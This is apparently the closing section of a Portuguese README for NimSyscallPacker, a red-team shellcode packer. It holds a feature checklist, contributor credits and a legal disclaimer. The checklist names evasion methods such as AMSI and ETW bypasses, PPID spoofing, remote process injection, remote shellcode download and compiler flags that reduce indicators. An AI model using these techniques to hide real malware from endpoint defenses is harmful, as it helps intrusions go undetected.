- [X] Chamar as funções Windows ‘GetConsoleWindow’ e ‘ShowWindow’ após o processo ser criado e os hooks do EDR serem carregados, e então alterar os atributos da janela para oculto em vez de flags de compilação GUI
- [X] Mais sleep entre alguns stubs potencialmente críticos
- [X] Definir processo remoto personalizado para spawn antes de injetar nele (atualmente é notepad hardcoded)
- [X] PPID Spoofing para processos recém-criados
- [X] BlockDLLs para novos processos
- [X] Bypass de AMSI sem patch (ex. https://gist.github.com/CCob/fe3b63d80890fafeca982f76c8a3efdf)
- [X] Bypass de AMSI via hook NtCreateSection (ex. https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/)
- [X] Mais patch de ETW para EtwNotificationRegister, EtwEventRegister, EtwEventWriteFull
- [X] Suporte a binário de serviço, como https://github.com/enthus1ast/nimWindowsService/
- [X] Chave de sequestro de DLL para DLLMain com attach de processo
- [X] Corrigir bugs de cast x86
- [ ] Suporte Wow64
- [X] Adicionar `--pump` bytes nulos entre como https://gitlab.com/ORCA000/entropyfix (Tenho que testar, pode causar falhas)
- [X] Arquivos de saída CPL
- [ ] Opção de requisições HTTP iscas
- [X] Baixar Shellcode de um servidor web ou ler de um arquivo local como alternativa à incorporação (padrão)
- [X] Usar mais flags do compilador para sobrescrever dynlib a fim de evitar IoCs de função e reduzir o tamanho `-d:nimNoLibc -d:noSignalHandler --gc:none -d:noSignalHandler --infChecks:off --stdout:off --hotCodeReloading:off --stackTraceMsgs:off --tlsEmulation:off --nanChecks:off -d:nimBuiltinSetjmp --sinkInference:off --deepcopy:off --styleCheck:off --skipParentCfg --passC:"-nostdlib -ffunction-sections -fno-ident -fno-asynchronous-unwind-tables -fno-exceptions" --passL:"-s --disable-runtime-pseudo-relo --disable-reloc-section" --dynlibOverrideAll`
- [X] Usar Handles clonados em vez de OpenProcess (como Handlekat) para injeção em processo remoto ou como alternativa de Elevação de Handle
- [X] Elevação de Handle
- [X] Adicionar ThreadlessInject para Injeção Remota
- [ ] Adicionar primitivas de execução de Callback para injeção remota via um port Nim de https://github.com/lem0nSec/CreateRemoteThreadPlus
- [X] Armazenar Payloads como endereços MAC ou IP e recuperar o Payload criptografado em tempo de execução para diminuir a entropia
- [X] Adicionar múltiplos Jumps para diferentes regiões no endereço de início da Thread (como DripLoader) para evitar detecções de varredura de memória (https://web.archive.org/web/20220319032617/https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection)
## CRÉDITOS
- [X] [@WhyDee86](https://twitter.com/WhyDee86) - Função Sleep + módulo de biblioteca de processo remoto + código inicial de argumentos hardcoded
- [X] [@chvancooten](https://twitter.com/chvancooten) - Strenc personalizado + Inspiração de seu Nim Packer
- [X] [@lefayjey](https://github.com/lefayjey) - Contribuição de saída DLL + Script CNA
- [X] [@d35ha](https://github.com/d35ha/CallObfuscator) - CallObfuscator
- [X] [@klezVirus](https://github.com/klezVirus/NimlineWhispers3) - NimlineWhispers3
- [X] [@TheWover](https://github.com/TheWover/donut) - Donut
- [X] [@icyguider](https://github.com/icyguider) - Inspiração
- [X] [Tylous](https://github.com/Tylous/) - LimeLighter
- [X] [Mr-Un1k0d3r](https://github.com/Mr-Un1k0d3r) - Patch de AMSI / ETW de 1 byte + ideias de evasão de SandBox
- [X] [glynx](https://github.com/glynx) - Pull Request de argumentos hardcoded do Nim-RunPE
- [X] [moloch--](https://github.com/moloch--) - Denim
- [X] [EdgeBalci](https://github.com/EgeBalci) - SGN
- [X] [monoxgas](https://github.com/monoxgas) - Koppeling
- [X] [eversinc33](https://github.com/eversinc33) - BouncyGate, Arquivo Docker
- [X] [OffenseTeacher](https://github.com/OffenseTeacher) - Steganim
- [X] [OtterHacker](https://github.com/OtterHacker/Conferences/tree/main/Defcon31) - Ideia de Stomb+Threadless inject
- [X] [DrDv](https://github.com/DrorDvash) - Gerador de Linha de Comando
## Aviso Legal:
O uso do NimSyscallPacker para atacar alvos sem consentimento mútuo prévio é ilegal. É responsabilidade do usuário final obedecer a todas as leis locais, estaduais e federais aplicáveis. Os desenvolvedores não assumem nenhuma responsabilidade e não são responsáveis por qualquer uso indevido ou dano causado por este programa. Use apenas para fins educacionais.